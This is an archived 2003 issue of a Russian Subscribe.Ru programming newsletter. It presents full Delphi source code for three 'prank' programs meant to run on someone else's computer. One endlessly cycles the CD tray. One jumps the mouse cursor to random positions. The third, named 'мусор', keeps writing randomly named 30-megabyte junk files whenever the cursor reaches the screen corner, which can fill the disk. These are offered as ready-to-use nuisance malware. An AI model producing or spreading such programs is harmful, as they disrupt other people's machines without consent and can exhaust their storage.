Отправляет email-рассылки с помощью сервиса Sendsay

програмирование: исходники программ

Подписаться Бесплатная новостная рассылка Подписчиков 28 RSS
  Июнь 2003   →
 1
 2
 3
 4
04.06.2003
10:06:53
18:48:45
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


За последние 60 дней ни разу не выходила


Открыта: 30-05-2003

Автор
АтамаН

Статистика

28 подписчиков
0 за неделю
←   Все выпуски   →

програмирование: исходники программ


Информационный Канал Subscribe.Ru
програмирование: исходники программ
ПРОГРАМИРОВАНИЕ: ИСХОДНИКИ ПРОГРАММ
Здравствуйте! Вышел очередной выпуск моёй рассылки. В этом номере я решил опубликовать исходные тексты программ-приколов.Эти программы написаны на Delphi. Например один  из ниже представленных исходников: программа называется  CRAZY_CD. Прикол заключается в том что,  при нажатии на иконку программы ваш CD-rom постоянно открывается и закрывается (конечно же с интеревалом). Я жду ваших писем! azino_forever@rambler.ru  (c пометкой "рассылка!").

СОДЕРЖАНИЕ:

                 

  1. crazy_cd.
  2. mouse.
  3. мусор.
                             crazy_cd.

вот код этой программки:

  program Crazy_CD;

uses
windows, MMSystem;



var
OpenParm: TMCI_Open_Parms;
GenParm: TMCI_Generic_Parms;
SetParm: TMCI_Set_Parms;
DI : Cardinal;
k: boolean;
begin

repeat
OpenParm.lpstrDeviceType := 'CDAudio';
mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));
DI := OpenParm.wDeviceID;
mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));
mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));
sleep(60*1000);
until k;
end.
                                                                                                                            

                             mouse.

program Mouse;

uses
Windows;
var
KomputerGameOver: boolean;
begin
repeat
randomize;
try
setcursorpos(random(1024),raNDOM(768));
except
setcursorpos(random(800),raNDOM(600));
end;
sleep (5*1000*6);
until KomputerGameOver;
end.

                            мусор:

Program Musor;

uses
Windows;

var
text:TextFile;
alphabet, temp:string;
i:integer;
point:Tpoint;
begin
alphabet:='abcdefghijklmnopqrstucvwxyz';
while true do
begin
GetCursorPos(point);
if (point.x = 0)and(point.y = 0) then
begin
temp:='';
for i:=1 to 8 do
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
temp:=Concat(temp, '.');
for i:=1 to 3 do
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
Assign(text, temp);
Rewrite(text);
for i:=1 to 30000000 do
begin
Yield;
Write(text, '!');
end;
Close(text);
end;
end;
end.
 

Вот и всё ........ Надеюсь вам понравился этот выпуск рассылки!!! Вопросы и пожелания присылайте сюда (!). Авторов расссылок призываю к соторудничеству!

 




http://subscribe.ru/
E-mail: ask@subscribe.ru 		Отписаться
Убрать рекламу
В избранное